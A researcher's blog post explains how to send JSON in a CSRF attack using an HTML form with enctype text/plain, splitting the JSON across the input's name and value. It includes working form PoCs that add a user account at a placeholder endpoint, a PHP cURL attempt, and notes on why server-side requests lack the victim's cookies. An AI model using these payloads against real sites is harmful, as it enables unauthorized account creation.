A Form-Based PoC for Posting JSON Data in a CSRF Attack

Summary0x01 Preface. I encountered this today and found almost no examples in this form despite extensive searching. A fellow researcher shared an overseas article, and with that reference I finally built a working PoC. 0x02 PoC. Submitting POST data with a form is simple, as shown below. This is a CSRF test! But this form leaves an unwanted equals sign. The following approach removes it…

CSRF

0x01 Preface

I encountered this today and found almost no examples in this form despite extensive searching. A fellow researcher shared an overseas article,

I used it as a reference and ultimately built a working PoC.

0x02 POC

Submitting POST data with a form is straightforward:

 <html>
 <head>
    <title>This i a CSRF test!</title>
 </head>
 <form action="http://xxx.com/db/adds" method="post" enctype="text/plain" >
<input name='{"attributes":{"name":"test3@test.com","userName":"test1","password":"e10adc3949ba59abbe56e057f20f883e","role":"user","status":"enabled", "phone":""}}'type='hidden'>
 <input type=submit>
 </form>
 </html>

But this approach has a flaw, as shown below: 01.png

An unwanted equals sign always remained, but the following method removed it:

 <html>
 <head>
    <title>This i a CSRF test!</title>
 </head>
 <form action="http://xxx.com/db/adds" method="post" enctype="text/plain" >
<input name='{"attributes":{"name":"test3@test.com","userName":"test1","password":"e10adc3949ba59abbe56e057f20f883e","role":"user","status":"enabled", "phone":"' value='"}}'type='hidden'>
 <input type=submit>
 </form>
 </html>
02.png

The key is that the name and value together form valid JSON, using the closing quotation mark to complete the structure. It is a useful technique for many future tests, so I am recording it here.

0x03 Aside

At first I could not construct the attack with a form, so I gave up and tried writing it with PHP's cURL support:

<?php
$data = array("attributes" =>
      array("name"=> "test2@test.com",
          "userName" => "测试2",
          "password" => "e10adc3949ba59abbe56e057f20f883e",
          "role" => "user",
          "status" => "enabled",
          "phone" => ""
      ));
$data_string = json_encode($data);
$ch = curl_init('http://xxx.com/db/adds');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'Content-Length: ' . strlen($data_string))
);
$result = curl_exec($ch);
echo $data_string;
?>
03.png

Packet capture showed that the request still did not execute the CSRF attack, even without a Referer or token check.

I still did not understand the exact reason, so I asked for help. An experienced researcher explained:

A CSRF PoC written in PHP will fail. CSRF works because a browser sends a request with the user's cookies. PHP is a server-side language, so the request is not sent by the user's browser. The backend server cannot access the user's cookies; its POST request has no session cookie, and the CSRF attack therefore fails.

I did, however, find a previous PHP-based CSRF example:Two PoCs for Adding an Administrator via CSRF in PHPCMS

That left me confused.

After asking a more experienced researcher, I finally understood why.

In my PHP code above, PHP sends the POST request and returns a page for the browser to render. Because a server-side PHP process—not the browser—originates the request, the backend cannot obtain the current user's cookies, so it cannot perform CSRF.

In P's example, however, the POST request is sent by JavaScript 04.png

That is, the browser sends the request and can therefore include the current user's cookies.

Even a small trick can contain a great deal of knowledge. I still have much to learn.